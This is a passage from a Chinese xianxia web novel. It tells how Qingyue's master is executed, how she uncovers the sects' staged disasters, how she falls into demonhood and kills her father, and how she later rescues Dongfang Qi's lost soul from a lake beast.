那几年,他们走过名山大川,也去过荒原妖谷。
倾月最喜欢的是人间界,那里有热闹的街道,有孱弱却依然努力的凡人。
在人间界,她还看到了许多的神庙。八大仙门的世家长老都有属于自己的神庙和信徒,受到人类世世代代的供奉,香火绵延。
倾月第一次看到的时候,诧异地问灼华:“师父,修仙界的那些长老、宗主们,明明没有成仙成神,为什么人间会有他们的神庙?”
第116章 云宫过往(3)
灼华告诉她:“因为人间的苦厄太多,而修仙界的仙君、仙长们,心怀慈悲,时常会来人间,帮助他们化解灾厄。”
恰好那一天,他们所在的丰国遭逢天灾,洪水肆意,淹没无数良田。就得在哀嚎遍野、民不聊生之时,一位仙人脚踏飞剑降临在丰国的上空。
仙人的长袖一挥,洪水倒流,慢慢褪去。人世间虽满目疮痍,可劫后余生的喜悦依然让人激动落泪。
污浊的凡尘里,所有人都跪拜磕头。
丰国的国君得见仙人,激动得泪流满面,仰天高呼:“感谢灵法仙君度我等苦厄!此恩此德,世代不忘!”
苍穹之上,高高在上的仙人淡淡的瞥了一眼,御剑离去。
而被他拯救的人们,感恩戴德,甚至顾不得收拾灾后事宜,便第一时间奔赴附近的灵法仙君神庙叩谢、上供。
国君还下令为全国的灵法仙尊神庙,铸造金身神像。
就连倾月都被此情此景感染,忍不住道:“修仙界的仙君们平常古板无趣,没想到居然还这般慈悲。”
灼华仙君摸摸爱徒的头:“羡慕吗?”
倾月用力地点头:“我也要做最慈悲的女仙,要像灵法仙君一样,受万民爱戴!师父——”
她抬头笑盈盈地望着灼华仙君:“我如果也为人间做了很多很多的好事,他们是不是也会给我建神庙、立神像?”
灼华仙君点头:“当然。但这只是凡事的虚名,修仙者不可执着,否则就会脱初衷,本末倒置。”
倾月记住了师父的话,在往后的几年里,他们走过凡尘上百个国家,渡了无数人、解了无数灾厄。渐渐地,倾月仙君的名气越来也大。
她拥有了数以万计的信徒,也有了属于自己的神像和神庙。
她偶尔会躲在自己神像后,聆听信众的祷告,感受着人类对自己的虔诚,无比骄傲。
那几年,她明明没有太多时间专注修炼,可修为却提升得飞快。
师父告诉她:“那是香火之力。你帮助凡人,凡人的信仰供奉,也会反哺回来,让你的修为大大提高。”
倾月问师父:“既然有这么多的好处,那我们从前每次做好事的时候,你为什么不留下自己的名号?你看,这人世间居然没一座你的神像呢!”
灼华仙君笑得云淡风轻:“因为师父来自人间界,不像你们是神明的后裔,天生拥有神族血脉,更有机会飞升成仙。师父的修为已到瓶颈,无法再进一层。所以那凡间的香火之力,还是留给我的徒儿吧。你看,你才刚刚成年就已经拥有了仙君的封号,假以时日你定会成为修仙界,最年轻的飞升者。”
也是直到这时,倾月才明白,师父和自己这样的神族后裔有着这种本质上的区别。
难怪当初一起在云宫修炼的同窗们,不论对灼华仙君的评价有多么高,可在选嫡传的师父的时候无一例外的,将他抛弃。
就连自己,也因为没有按家族的指令去做,被父亲厌弃,失去了宗门的继承权。
即便如此又怎样?
她的师父啊,就算不是神族的后裔,也依然是这世间最好的人。
“师父,如果你不能飞升,徒儿也不要飞升!我们就在人间界逍遥自在,岂不也快哉?”
灼华仙君闻言一愣,又笑着摇头:“莫要说傻话,飞升成仙,那是所有修士的至高理想,怎可轻言放弃?”
倾月道:“这千万年以来,飞升成仙的人再也没有回来过,更没有回来探望过他们的亲人,甚至也没有再聆听他们信徒的祷告。所以,飞升真的有那么重要吗?如果泯灭人性,抛下一切,才能成就大道,那么大道又有什么意思?”
灼华哑然良久,才又舒颜微笑:“我徒甚是聪慧,为师很欣慰。倾月,不管未来的路如何,师父只希望你能遵从自己的本心,做自己想做的事。”
再后来,云宫召灼华回云宫教**学生,倾月也跟着回来了。
云宫规矩多,倾月一向不喜欢。灼华本以为她呆不了几天就要闹着要走,谁知她居然提出要也要留下来当教**。
当灼华问她:“为什么。”
“为什么?”倾月眨巴着眼眸,含笑看着灼华,“因为我不想和你分开啊!师父,难道你看不出来徒儿喜欢你吗?”
灼华还未从那话里反应过来,她却突然垫着脚尖,亲了过去。
那一天,一贯端
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方雅正的师父,红了脸、慌了神,半晌之后才落下一句:“胡闹!”
“当真是徒儿胡闹吗?师父,您对徒儿就没有任何别的想法?”
灼华望着她,严肃地说:“月月,我是你师父,一日为师终身为父。这是修仙界的人伦规矩,不可逾越。”
“那我们就不做师徒了。修仙界若是容不下,我们就去人间界。在人间界的几年,也是我们最快乐的时光不是吗?师父,你看看我,我不信这么多年来你的眼里没有我!”
怎么能没有呢?只是他的深藏与隐忍,连自己欺骗了。直到被她一语道破,那压抑多年的感情也如滔滔洪水奔涌上心。
但仅仅只是瞬间,他便再度冷静下来。
他看着面前明媚活泼的小徒弟,沉默良久之后道:“一日为师终生为父,你今日的话我只当没听过。稍后我会给你父亲去一封书信,让他来接你回去。”
“师父!”她拽着师父的袖子,不甘心地问,“你的心里当真就一点没有我?我们明明没有血缘关系,怎么就终生为父了?灼华,你不是那等迂腐之人,为何要给自己和我戴上枷锁?我都愿意为你放弃一切了,你为什么不能像我一样勇敢一次?”
“灼华,原来你竟是个胆小鬼!你要赶我走,是怕我连累你的名声吗?难道名声,比你内心的真实感受还要重要?”
“灼华!师父!就算你不接受也别赶我走,好不好?”
然而,那一贯最好说话,性子温和的灼华仙君头一次地狠下心肠,眼睁睁地看着心爱徒弟被她父亲带走。
没人知道,他当时的心有多痛。十年的朝夕相伴,他何尝不是早已经将她刻入了自己心上。
可他不能越矩,非是不敢,而是不能。
倾月身为神族后裔、青苍门少主,是千百年来最有希望飞升的天之娇女。却因少不更事,对凡人动了情愫。
作为师父的灼华,怎可误了她的仙缘?让她背负与师父不伦的骂名,从前途无量的女仙跌落泥潭?
他深知,即便如今**怨恨自己,但时光终会冲淡一切。待她站在更高的山峰,领略更美的风景,自会明白师父的良苦用心。
第117章 云宫过往(4)
倾月回到青苍门后,就被父亲禁足。
父亲给她下了禁制,令她不能离开宗门一步。但以她如今的修为,想要冲破这个禁制并不难。
她只是在赌气,并未挣扎。
明明灼华教导自己要遵从的自己的本心,为什么他自己反而被俗世的枷锁困住?
明明,她在灼华的眼底,也看到了深情厚谊,为什么要狠心至此?
哼,你狠心不要我。那我也不要你!就让你没有徒弟送终!
可赌气不过三个月,她又有些焦躁。
师父会不会忘记我?他会不会再收新的徒弟?
我若不去找他,他是不是永远也不会出现在我的面前?
想着想着,她就慌了。
于是,那晚她趁着父亲外出未归,冲破禁制逃出了宗门。
她想得很简单,如果师父真的不愿意接受自己的感情,那就回到最初,继续做师徒好了!
倾月赶到云宫时,血腥味裹胁着焦糊气扑面而来。云宫下方的刑场上,密密麻麻挤满了看热闹的修士,高高的祭坛上,熊熊火焰冲天而起,映得半边天空都成了赤红色。
要知道,云宫刑场鲜少开放,只有八大仙门公认的罪大恶极之徒,才会被当众处死,以儆效尤。
此番大动干戈,究竟是谁犯下滔天罪孽?
倾月挤过人群,待看清刑台上的身影,顿时如遭雷击。
邢台上,灼华一身血衣破碎不堪,伤痕累累的身躯一大半已被火舌舔噬,却仍在仰天痛骂:
“你们这些**子,总有一日不得好死!不得好死!”
话音未落,烈焰骤然暴涨,刹那间将他吞噬,只留下数点灰烬。
“师父!”撕心裂肺的哭喊刺破长空。
倾月不顾一切地扑向火海,指尖却来不及攥住簌簌飘落的灰烬。她被红莲业火的余威击中,瞬间昏厥过去,若不是父亲及时赶来救她,只怕也要身死道消。
整整一年,倾月才从昏迷中苏醒。
修仙界人人皆知,红莲业火可焚肉身、噬魂灭魄,数千年来极少动用,即便对罪大恶极之人,也会留一线生机。
如今灼华竟遭此极刑……为什么?
当日刑场上观刑的仙门尊者们,或是怨毒,或是冷漠,甚至还有大快人心拍手叫好的。
那些人中,有灼华的挚友、同门,还有他的引路师尊。明明过去他们提起灼华,会夸赞他的天赋和努力,遗憾他凡人的出身。
怎么才短短数月,就全变了?
师父身上到底发什么了什么事?
她问父亲的时候,父亲只冷冷地道:“你还好意思问我为什么?一个低等的凡人,凭借几分运气踏上了仙途,叩开了仙门,不知道安分守己,却妄图毁坏仙石,断送修仙界上万年的基业!实在罪大恶极,魂飞魄散都不足以平恨!”
“当年你违背父亲的命令,选他做师父,甚至不惜放弃宗门继承权。后来,你又莽撞地闯入刑场。若不是父亲及时赶到,全力作保,你以为云宫的那些执事会放过你?就凭你是灼华徒弟这一条,你都难逃一死!”
“月月,听父亲的话,以后就留在宗门不要再胡闹了。也莫要再提和那个叛徒相关的任何事!”
“月月,父亲说的话你记住了吗?”
可惜,她从来不是循规蹈矩的乖乖女,并没有听从父亲的话留在宗门,而是潜回云宫要查清幕后真相。
她不相信师父会无缘无故地背叛修仙界!
最后,她查到了。
而真相,却比师父的死更让她震惊。
那天,云宫关押的凶兽突然逃出。她以为是一次意外,转眼却看到看守妖牢的两位执事拎着钥匙,不紧不慢地跟着后面。
她本以为那两人要施法捉拿凶兽,却听见了他们的对话。
一个师兄笑着说:“地龙出世,不知道这次会是哪个小国要迎接天崩地裂的灾祸咯。”
另一个师兄说:“去的是丰国。灵法仙君最
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近修行遇到瓶颈了,丰国的信众安逸了几年就怠慢了供奉,要降下些灾难,让信众知道仙人的厉害,献上最纯粹的信仰之力。”
倾月震惊之余,还有些不敢相信。
可当她尾随地龙而去,果然见它钻到了丰国的地底下翻滚,引发了大范围的地震。
原本繁华的街道、辉煌的建筑顷刻间成了一片废墟。无数鲜活的生命,轻而易举被吞噬。
在幸存民众们悲伤的祈求声中,星斗门的门主‘灵法仙君’以救世主的姿态降临人间,不过挥挥袖就将那作恶的凶兽收入袖中。
然后,又在那些蝼蚁般的民众感恩戴德的呼喊中,扬长而去。
灰色的天空、灰色的大地,灰头土脸的卑微人类身上,却溢出了丝丝金芒,向着灵法仙尊的方向汇集——那是最纯粹的信仰之力,能帮助修仙者提升修为。
倾月忽然间就明白了一切。
原来,所谓的救赎、神明的光环,居然都是一场精心策划的骗局!
原来,整个修仙界都是一群虚伪的君子。
原来,师父只是看见了真相,就被他们冠以叛徒之名,用最残忍的刑法让他魂飞魄散!
可是凡尘里,早已遍地神庙了。
而那些被蒙蔽的可怜人啊,不论遇到任何灾祸、困境,都会第一时间到神庙祈祷。
她看到一个快要饿死的母亲,抱着奄奄一息的婴儿,将好不容易找到的果子颤颤巍巍地捧上圣坛,祈求神明能救救病重的孩子。
神坛上,灵法仙尊慈眉善目。
战乱的国家,横尸遍野。
断腿士兵颤抖着捧出怀中神像,血污浸染的面容上尽是虔诚:“求神明……将我的魂魄带往仙界安息……”
可**,他的神明恰恰是主导这战争的元凶。
——人多了,兵器多了,需要消耗一些,否则便容易产生不安定的因数,不利于管束。
下界的涂炭生灵,只是上仙的权衡之术……
第118章 云宫过往(5)
倾月甚至还看到了自己的神仙前,也围满了信众。虔诚的信众在向自己祈求财富、姻缘、平安……
她恍然回神,不顾一切地冲到神像前,当着众人的面亲手打破了泥做的雕塑!
“拜什么拜?这世间根本就没有神!只有虚伪的骗子!你们都被骗了,知不知道?那些**子,制造灾难,再扮演救世主窃取你们的信仰之力!不要再傻了,不要再被骗了!”
“这世间根本没有神明,只有一群修仙修傻了的**子!”
为了让自己的更具说服力,她甚至将自己记忆里的画面投映出来。
可,没人信她的话。
哪怕他们亲眼看到画面里的地龙被放出来,制造了灾祸,可依然没人相信她。
他们只看到她打碎了神像,破坏了信仰,深恐会因此引发神明震怒,不再庇佑众生。
人群却如被激怒的蜂群。
有人高喊“亵渎神明者死!”,有人捡起碎石砸向她。
她原本一个闪身就能从这场闹剧里全身而退,却固执地站在那里,固执地解释,固执地嘶吼:“你们看清楚真相!看清楚他们的真面目!他们不是真神,是魔鬼!愚弄了众生,也害**我师父的魔鬼!”
血珠顺着额头滑落,混着雨水浸透衣襟。
天空不知何时落下了磅礴大雨,终是避无可避地淋她了一身的污浊。
有温热的液体从眼眶中流出,分辨不出是雨、是泪,还是血。
血色雨幕模糊了视线,她终于明白,人们宁可被谎言的镰刀收割,也不愿让真相摧毁信仰。
灼华临死的时候,是不是也像自己此刻这样,满心悲怆,却无可奈何?
师父,若是你还在该多好。你就会告诉徒儿,徒儿该怎么做?
是继续当一个虚伪的神?
还是撕破神装,将一切都拉下神坛?
可是他们不信我呀,明明我给出了证据,他们就是不信啊!
谎言流传久了,就成了真理,刻入几代人的血脉里,怎么都洗不干净了……
可凡人真的愚不可救吗?
若真是如此,那我们那些年携手在人间走过的时光,又算什么?
我们一起行侠仗义锄强扶弱,做的那些事又算什么呢?
“荒唐!这世界真是荒唐透顶!”
倾月慢慢地从泥泞中站起身来,眼中清明尽碎,“若不能做救世的神,那我便做灭世的魔!”
一声惊雷,碎裂了暗黑的苍穹。
从那之后,修仙界少了一位清贵仁善的仙君,只余下一位令人闻风丧胆的魔君。
她的每一次挥剑,都似在向这荒诞的世界宣战。
入魔者,损心毁德,永绝仙途,死后更要坠入无间地狱受万劫不复之苦。
可人间已荒唐如炼狱,哪里还有仙界呢?
凭借绝世天赋,她入魔后修为一日千里。短短十数载,整个修仙界已无人能敌。
昔日高高在上、信徒无数的灵法仙尊,也跪在她面前,颤抖着祈求一线生机。
彼时,倾月正在研究着棋局,头也不抬地道:“听说你们几位宗主对弈的时候,最喜欢用自己的子国做期盘,落子在哪里,哪里就是战场。最后的输家,要将自己子国的香火送给赢家。”
她眼帘掀开,露出一抹寒芒:“是不是很好玩?”
她摇了摇头,鄙夷地道:“可是太麻烦,我不喜欢。不如,我们来赌人头吧?输棋的人,就送上自己的人头如何?”
在她连着屠戮了七大仙门之后,她的父亲也终于找上门来:“你找个逆女,你到底还要闹到什么时候?”
她坐在高高的王座上,抬头看向面前的男人时,魔性压制下早已经没有了世俗的亲情。
“你不来,本座差点忘了,原来我还有父亲。父亲,哈哈哈……你要和女儿下一盘棋吗?用自己的头颅做赌注,如何?”
她的父亲气得浑身颤抖,却还耐着性子道:“月月,回头吧!魔道非正途,损心性灭人性。你本该是我们宗门的骄傲,本该前途无望,本该……”
“本该向你们一样,披着神装做那欺世盗名的仙人?仙人,本座已经当腻味了。父亲,你若不愿意下棋,就归顺吧,带着你青苍门众人归顺,本座不介意多几条有用个狗。”
“逆女,你放肆!”父亲大怒,执剑要杀她。
可
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他的剑,停在倾月魔君心口的半寸之前就顿住了。低下头,他愕然地看着贯穿自己胸腔的剑,喉间挤出不敢置信的声音:“你,竟然弑父……”
“砰!”父亲的身体轰然倒地,殷红的血液蔓延到倾月的脚边,染红了她洁白的长裙。
她瞪大了眼睛,木然地看着这一切,喃喃地重复着:“弑父,我竟然弑父……”
裙摆上晕染的鲜血越来越多,那样的刺眼。
她胸腔里似乎有悲伤、震惊、后悔,等等混乱情绪要喷薄而出,却又忽然消散,被暴怒、噬杀的情绪取代。
她丢下了长剑,慢慢地转身,从那之后她不再着白衣。
黑色不易染色,所以就不怕染血,看不见自己的肮脏罪孽了对不对?
她以为自己的心性更强,能压制住魔性的侵噬,可最终还是再也回不来头了,成了这世间罪大恶极的人。
直到后来,她遇到了阿灼。
他长着和师父一模一样的脸,一样的白衣胜雪,站在灰暗的世界里像一道温柔的光,成为了她往后余生里唯一的温暖。
在做魔君的那些年里,每当她魔性爆发,无法自控的时候,不知道为什么只要阿灼的脸出现,就能安抚她的狂躁,缓解她想要**的暴虐情绪。
她像一把无坚不摧的刀,所过之处尸横遍野。而阿灼,像刀鞘帮她收敛锋芒,也减轻了许多的罪孽。
过往种种走马灯一样,在脑海中迅速滑过。
此刻,面前那平静的湖面上,慢慢浮现出一个人影:胸口汩汩地冒着血,眼眸通红,声声地质问:“女儿,你怎可以犯下弑父这样大逆不道的罪恶?”
林倾月一贯波澜不惊的眼眸,忽然露出几分惊恐:“父亲……”
“住口,你不配喊我父亲!你弑父**,**了八大仙门,把整个修仙界弄得乌烟瘴气!你这样的人,万死不足以抵罪!你该死,你为什么不**!”
“我……该死?”
“是,你该死!”那男人满脸怒容,咆哮道,“你是整个修仙界的叛徒,毁了修仙界千万年来的和谐!你所犯孽世间难容,即便死后连无间地狱也容不下你!”
第119章 獍獍兽
“容不下我?”她茫然地呢喃着,头又开始剧烈地痛了起来。
自从弑父之后,她便有了心魔,日夜被敲骨挖脑般的头痛折磨得生不如死。
越是痛苦,她的暴虐倾向就越是严重,时不时就想**。
哪怕后来她找到了“刀鞘”,收敛锋芒,连头痛也减轻了许多。
可每个月还是有两三天时间,被心魔折磨,活在日复一日的弑父的阴影下。
就这样,她熬了十几年,魔气入体,灵根受损。她知道自己终将迎来覆灭,于是得知各地叛军揭竿而起的时候,她将阿灼远远送走。
他那样温柔的人,不该陪自己永坠地狱……
然而,重活一世。她已摒弃了魔道,也不再像以前那样暴虐弑杀。为什么此刻还会有魔气侵蚀的迹象?
赤影之地……对了,本座现在在赤影之地,周围都是阴邪之前。应该是不知不觉中,受到了邪气的影响,勾出了前世的心魔。
思及至此,豁然开朗,再看周围的景色,也不再觉得茫然。
就连那水中的倒影,也退去了刚才凶恶的神情。
“月月,不要闹了。你生来就是神族的后裔,是修仙界的天之娇女,何必为了那群蝼蚁和整个修仙界为敌?”
“蝼蚁朝生暮死,目光短浅,只要些许好处,便能将你奉若神明。”
“信仰之力,是他们唯一能贡献出来的价值,我们拿走有什么不可以?”
这些话,是当年父亲说过的。他也和其他宗门的人一样,高高在上漠视人间疾苦,甚至会为了压榨信仰之力而制造灾厄。
那时,倾月还没有正式踏入魔道,她回到宗门,希望能获得父亲的支持,改变当前的规则。
她对父亲说:“人类的信仰之力,是怀璧其罪吗?若想获得,为什么不可以走正途呢?强者的剑,应该向上而战,不该去**弱小。你们精心编织了谎言,杀了他们的至亲至爱,却还要让他们对你感恩戴德贡献信仰。这何止是荒唐,简直就是罪恶!”
“说来说去,不过就是想走捷径,又不愿意费时费力。毕竟,制造一场天灾,远比救赎改变一方更难。”
“父亲,原来你也和他们也一样的道貌岸然、虚伪至极!强盗过惯了掠夺的日子,又怎么可能放下屠刀呢?是我太过天真,竟以为能说服父亲。”
父亲冷声道:“你确实天真!既然你看不惯修仙界的种种行为,那以后就不必再看了。来人,把小姐关入禁室,永远不准她踏出来一步!从此以后,我就当没有你这个女儿,省得你出去惹祸丢我的脸!”
倾月在禁室被关了整整三年,不见天日、与黑暗为伍。也是在这三年里,她偷练魔功,走上了一代魔君的路。
当过往场景再次重现,当曾经的对话再次出现在耳边。
林倾月的目光忽然一冷,喝一声:“何方妖孽,也敢扰乱本座心境,找死!”
与此同时,一掌挥出:“砰!”
平静的湖面炸出一朵巨大的水花,水花翻滚了几下后,冒出了血红的颜色。
“滚出来!”林倾月五指成爪,虚虚一抓,抓出一个虎头豹身的怪物。
那怪物浑身湿漉漉的,口中还在吐血。
被拽上岸翻了几个滚,正要逃走尾巴突然被踩住,痛得吱哇哇乱叫。
林倾月眯了眯眼睛:“我当时什么呢,原来是一只獍獍兽。獍獍兽,形如虎豹,六亲不认,生食其母,为世人所恶。”
本以为早已不复存在,没想到居然在这里会遇见,还窥探出了林倾月内心的恐惧,试图将她引诱入水吞吃。
獍獍兽被踩住了尾巴,就彻底没了抵抗之力,却还在嚷叫:“你和我比起来不也是半斤八两吗?你的过往我都看见了,你居然弑父!你是个十成十的恶女人,放开我,快放开我
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!”
林倾月微微一笑:“没错,我就是恶人。所以,你想好**了吗?”
“啊!”獍獍兽尖叫一声,忽然就怂了,“别杀我,我已经躲到这种不毛之地了,就放过我一次!我再不敢招惹你了。”
“少废话!说,有没有看到这个人的魂魄。”林倾月说话间,手指在中一点,于是虚空中就现出东方起的人脸形象。
那獍獍兽看着虚影里的人像,琢磨了一阵子,忽然眼眸一亮:“想起来了,真有!”
“在哪里?”林倾月赶忙询问。
獍獍兽搓了搓爪爪,有些犹豫地道:“在,在湖底?”
林倾月皱眉:“为什么会在湖底?”
獍獍兽道:“之前他自己飘来这里。你也知道赤影之地是什么地方,能来这里的鬼魂,才到外围就被生吃活剥了。余下的怨气,在腹地凝聚,日复一日。我守在这湖中心,算是一方清净之地。虽然没什么东西敢来打扰,但也属实无聊。那天,无意中看到有鬼魂居然能突破群妖环伺,我就来了好奇心,把他拘在湖底陪我聊天……”
“只是陪你聊天?”林倾月显然不太相信对方的话,“说实话,不然别怪我下手无情!”
獍獍兽也是个吃软怕硬的家伙,被林倾月喝了一声后,浑身一抖,“是,是想吃……”
“所以你吃了他吗?”
“没没没吃!”獍獍兽赶忙解释,“那家伙不知道怎么回事,明明就是一抹残魂,却碰不得、吃不得,现在还在湖底沉睡。”
獍獍兽居然还有些遗憾:“那是我几千年来见过最干净,最好看的魂魄。要是原身在此就好了,那我……”
说到这里,他暗暗吞了吞口水,忽然又想起自己的小命还捏在林倾月的手上,赶忙敛正了神色:“啊,我没想**。我就是随便说说,真的!”
林倾月一副“我信你个鬼”的样子。
第120章 前世今生、碧落黄泉,我们可曾见过?
“我来此就是为了那抹残魂。去,把那魂魄给我弄出来,我就饶你一命。若敢耍花样,我叫你知道什么叫恶人的手段。”
她明明是笑着说的,可獍獍兽却被吓得浑身打颤:“不敢不敢。但是……我弄不上来了。不知道为什么他落在湖底后,就变得死沉死沉的,占在我地盘上呼呼大睡。我吃不得,天天瞅着煎熬,早就想把他给丢出去了,可就是丢不掉。”
“丢不掉?”林倾月正要下水,忽然又转头看向那獍獍兽,"你该不会是在哄我吧?"
獍獍兽忙道:“不敢不敢。我在前头带路,你跟我来!”
说完,猩猩兽就噗通一声跳入了湖里,林倾月略作思忖后也跟着跳了进去。
那湖水在岸上看时清澈透地,可到了水里却是十分浑浊,看不清周围景致。
连獍獍兽一到水里,也不见了踪迹。
就在林倾月环视左右,寻找獍獍兽的时候,周围忽然寒气大盛。
林倾月意识到情况不对,正准备掉头回去。
然而就在这时,前方出现了一个白色的虚影:修长的身影、俊朗的无官——赫然正是他们寻找了许久的东方起的天魂!
只不过,那一抹残魂此刻被冻在冰柱里,眼眸紧闭陷入无意识的状态中。
难怪先前东方起一直感应不到自己魂魄,原来被困在湖底!
林倾月赶忙游向前去,到了近前正要抬掌劈开冰柱,又想起此刻困在里面的只是东方起的一抹残魂。
残魂本就虚弱,若是再用蛮力破开冰柱,那么残魂也会随着冰柱一起四分五裂。
稍作犹豫后,林倾月双掌覆盖在冰柱之上,用自身精纯的灵力去融化冰柱。
随着灵力的灌输,冰柱慢慢开始消融。
当最后一层薄冰也化成了液体,林倾月急忙将抓住了残魂的手掌。
似乎是感应到了什么,原本陷入昏迷中的残魂慢慢苏醒,苍白的眼帘掀开,露出星辰般的眼眸,疑惑地看着林倾月。
这仅仅只是一抹残魂,没有最近这那段时间的记忆,所以也不认识林倾月。
林倾月拽着残魂正要离去,身体忽然一僵,手、脚迅速开始结冰。
这时,獍獍兽的身影才出现。
它的脸上不见了方才谄媚的神色,只剩下得逞的坏笑:“我在这里上千年了,你一个外来的小丫头,就改在我的地盘上撒野。我叫你有去无回!”
林倾月知道自己这是被偷袭了,她眉头微微一蹙,与此同时掌心发力用力一推,就把东方起的那一抹残魂给打出了水面。
附近的湖水开始结冰,只是转瞬间就连同林倾月在内,全都被冻成了冰块。
而东方起的残魂被推得越来越远,眼睁睁地看着刚才救下自己的女子,变成了冰柱,慢慢地坠入湖底漆黑的深渊。
最后凝望的时刻,他不知为何竟生出了一种熟悉感。
明明是第一次相见,可为什么她的眼神竟让自己觉得眼熟。
当她的身影彻底从眼前消失时,他的心跟着痛了起来,好像失去了比生命还要重要的东西。
是谁,你到底是谁?前世今生、碧落黄泉,我们可曾见过?
……
东方起正在拿着幽冥伞在四处寻找自己的天魂,找了好一阵子也没什么收获。
就在这时,林倾月给她的双生感应符突然发出炙热的温度,将他的胸口都灼得一痛。
他赶忙拿出符咒,就见上面的符文不断地闪烁着。
但是很快,那用林倾月鲜血绘制的符文开始褪色,也不再发光。
东方起脸色大变:“不好,林副使有危险!”
虽然林倾月一直对帮他找回魂魄之事信心满满,可赤影之地,妖邪横生,谁也不知道里面到底潜藏着怎样的危险。
他心中焦急,脚下步子迈得飞快,按照双生符的指引方向奔去。
“林副使,你千万不能有事,否则我东方起万死难辞其咎!”
不知道过了多久,他终于按照双生符的指引,踏入了赤影之地的中心。眼前出现了一大片湖水,周围风清月朗,也没有任何邪气弥散。
突然,幽冥伞下的铃铛被什么惊扰了,发出叮叮当当的声音。
与此同时,东方起也突然感应到了什么,抬头看去,就见前方的浓雾里飘出一个白色的虚影。
那是,他丢失的那一抹天魂!
那抹白色的虚影,此刻是无助的孤魂茫然地站在湖边,喃喃自语:“你到底是谁?”
东方起顿时大喜,朝着自己的那抹天魂奔去。
天魂也被他的本体吸引,慢慢地转过身来,也向自己本体走来。
之前,林倾月和东方起提过,若是他先一步找到自己的天魂,先不要融合,等自己回来。
可现在,林倾月突然失联,以他如今的虚弱身躯,别说救人了,便是想活着走出赤影之地都难。
可若是天魂回归本体,他恢复到原本的状态,那就不一样了。
想到这里,他盘膝而坐,红色的幽冥伞浮于头顶,继续做他的庇护。
他运转体内的之气,召唤道:“天魂,归位!”
那一抹虚影受到感召,嗖的一声飞入了东方起的身体。
融魂太快,有没有外人的相助,他的身体一下子承受了强烈的冲击,五脏六腑都仿佛在震动。
“噗嗤”,东方起喷出了一大口鲜血。
他抬手擦去唇角的血迹。虽然莽撞融,体内的三魂互相冲撞造成了些许内伤,当他站起来的时候,整个的人气场已经完全不一样了。
世人只知东方起乃是大齐的太子殿下,却很少有人知晓,他其实也是一位修仙者。
东方起天生异禀,自小聪慧,能窥见世人所看不见的东西。
齐昭帝也是真的疼爱这个儿子,只因他说一句:我想要镇妖除魔,护卫天下安宁。
便选出最好的术士,教授他本事。
只不过这些玄学之术,终归是旁门左道,所以没有对外公开。
东方起少年时,已学有所成,世间再没有能教授他的师父。
又因见平民百姓在邪祟时候,或无能为力,或只能砸锅卖铁求请高人,又或者被江湖术士骗财。
于是,东方起创立玄镜司,护卫百姓安宁。凡与诡案相关的事件,皆可由玄镜司出马解决,并分文不取。
此刻,找回天魂,他的脑海里就浮现出刚才林倾月在湖底相救的一幕。
“原来,她在湖底!”
几乎未做犹豫,东方起纵身一跃,便跳入了湖水里。
第121章 阿灼,你来了
湖面上方清澈见底,到了湖里却浑浊漆黑,就算是眼力极佳如东方起,也只能勉强看清一点。
此刻,獍獍兽正手舞足蹈地在水里蹦跶,看着前面被困在冰柱里的林倾月,哈喇子都流出来了。
“之前那个吃不到,我就用他做成饵,果然你上钩了。哈哈哈,你三魂俱全,且有完整的肉身。等我吃了你的魂魄,就附到你的身上离开这赤影之地!”
说罢,他长大嘴巴就准备吃,却一口咬住了冰柱硌的牙疼。
“呸呸呸!”他把嘴里的冰渣子吐掉。
“不行,不能直接这样吃,口感不纯。”
“可若是把冰融掉……也不行,那样就困不住这个凶女子了。”
犹豫再三,它寻思道:“要不等她被寒冰之气侵蚀死绝了,我再吃?虽然口感不那么新鲜,但是安全啊!”
正在这时,身后忽然传来水波浮动的感觉。
獍獍兽急忙回头,就见一道剑光闪过,下一刻它的头颅被砍断,大片的血迹瞬间将周围的水域染成了猩红色。
在生命的最后一刻,獍獍兽只看到一个白色的身影从水里俯冲而来,居然是那抹残魂的主人。
下一刻,尸兽分离的凶兽沉入了湖底。
没有凶兽力量的支撑,湖水慢慢变得清澈,连血水也被湖水稀释。
东方起来到林倾月的冰柱前,一剑砍去,冰柱碎裂成数点碎冰消失在水中。
林倾月得意脱困,眼眸睁开指了指湖面。
东方起点了点头,两人一个俯冲,双双冲出了这片水域。
到了湖岸上,林倾月抹了把脸上的水渍,看向东方起有些惊讶:“你这么快就融魂了?不是和你说了,找到天魂后不要着急,等出去后再慢慢融合吗?”
此刻,东方起的脸色异常苍白:“你有危险,我不能不管。可我缺失一魂,自身都难保无法为你助力。所以才冒险融魂。还好……赶上了。”
林倾月道:“一个獍獍兽而已,伤不了我。我只是一时被困,再拖一段时间自己就能出来,你何必为我冒险?”
“可是我……不敢赌……”他强撑的一口终于是再也撑不住,眼前一黑晕了过去。
林倾月在他倒下之前,及时接住了他的身体。
他的身体很虚弱,脸色苍白如纸,连唇色都显不出来。三魂虽然已经俱全,却非常不稳,随时可能离体而去。
林倾月知道,这是处于濒死的状态了。
融魂本需三日调息方能稳妥,他却为救林倾月,不仅强行压缩了融魂的时辰,更贸然动用灵力——这般行径,无异于以命相搏,透支着本就珍贵的生机。
幸得林倾月在侧,及时渡入灵力稳住他动荡的魂魄,才让危急的境况稍稍缓和。
即便如此,他仍陷在昏迷里,气息微弱,境况堪忧。
林倾月将他背在身上,侧脸微偏便能望见他紧闭的双眸。睫毛在苍白的眼下投出浅影。
她忍不住道:“真是个傻瓜,难道就不怕死吗?”
前世今生,林倾月身边可信之人寥寥。
肯为她拼了性命,不顾一切的,唯两人而已。一个是阿灼,另一个,便是此刻伏在她背上的这个傻瓜。
此刻,东方起坠入了深沉的梦境。
梦里,他仍在水中沉浮,四处搜寻着林倾月的身影。
林副使向来是一副万事笃定的模样,可他怎能心安理得地受她照拂,却对她的困境袖手旁观?
纵是拼得身死魂消,也要护她周全!
“林副使你在哪里?林副使!”
漆黑的湖水裹着刺骨的寒意,他在水底拼命摸索,却始终寻不到那抹熟悉的身影。
正当他心急如焚、几乎要窒息时,前方忽然漾起一缕微弱的光。
是她在那里吗?
他奋力游过去,那团光晕在眼前渐渐扩大。他猛地蹬动双腿,纵身跃入光团之中。
光芒散去的刹那,周遭景物骤然清晰。
他发现自己站在一座宏伟奢华的宫殿里。殿宇窗棂高达七八米,抬眼便见窗外云涛翻涌,奇禽异兽穿云振翅,姿态悠然。
这是何处?
正自疑惑,一道清冷又熟悉的女声从身后传来:“阿灼,你来了。”
他猛地转身,只见大殿中央的高座上,斜倚着一名女子。
她身着曳地黑裙,头戴帝王旒冕,十二道玉旒随动作轻晃,流光溢彩间,难掩眉宇间的雍容与威仪。
那贵气迫人的姿态,正与记忆深处某个模糊身影缓缓重叠,愈发清晰。
“你是……林副使?”
